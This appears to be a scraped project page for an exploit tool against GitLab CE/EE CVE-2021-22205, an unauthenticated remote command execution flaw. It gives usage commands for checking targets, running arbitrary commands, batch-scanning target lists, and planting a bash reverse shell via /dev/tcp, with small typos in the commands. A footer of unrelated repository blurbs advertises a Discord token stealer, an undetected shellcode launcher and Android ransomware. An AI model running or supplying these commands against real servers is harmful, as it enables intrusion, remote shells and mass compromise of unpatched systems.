CVE-2021-22205& GitLab CE/EE RCE

Vuln Impact

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

Vuln Product

Gitlab CE/EE < 13.10.3
Gitlab CE/EE < 13.9.6
Gitlab CE/EE < 13.8.8

Environment

export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0

Vunl Check

Basic usage

python3 CVE-2021-2205.py

Vuln check

python3 CVE-2021-2205.py -v true -t http://gitlab.example.com

command execute

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"

batch scan

python3 CVE-2021-2205.py -s true -f target.txt

Reserve Shell

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"

Reference

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

CVE-2021-22205& GitLab CE/EE RCE

Related tags

Overview

Vuln Impact

Vuln Product

Environment

Vunl Check

Basic usage

Vuln check

command execute

batch scan

Reserve Shell

Reference

Owner

Al1ex

command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.

AIL LeakFeeder: A Module for AIL Framework that automate the process to feed leaked files automatically to AIL

Using python 3 and Flask an MVC system where the AES 128 CBC and Trivium algorithms

Looks at Python code to search for things which look "dodgy" such as passwords or diffs

Js File Scanner This is Js File Scanner

Malware-analysis-writeups - Some of my Malware Analysis writeups

Delta Sharing: An Open Protocol for Secure Data Sharing

"Video Moment Retrieval from Text Queries via Single Frame Annotation" in SIGIR 2022.

Log4j minecraft with python

Python tool for enumerating directories and for fuzzing

Fat-Stealer is a stealer that allows you to grab the Discord token from a user and open a backdoor in his machine.

Wireguard VPN Server Installer for: on Ubuntu, Debian, Arch, Fedora and CentOS

WinRemoteEnum is a module-based collection of operations achievable by a low-privileged domain user.

C++ fully undetected shellcode launcher

Simple python script for generating custom high-secure passwords for securing your social-apps ❤️

Log4Shell RCE Exploit - fully independent exploit does not require any 3rd party binaries.

SARA - Simple Android Ransomware Attack

FOSSLight Scanner performs open source analysis after downloading the source by passing a link that can be cloned by wget or git.

♻️ Password Generator (PSG) 📚 This plugin is made for more familiarity with Python, but can also be used to create passwords

A simple subdomain scanner in python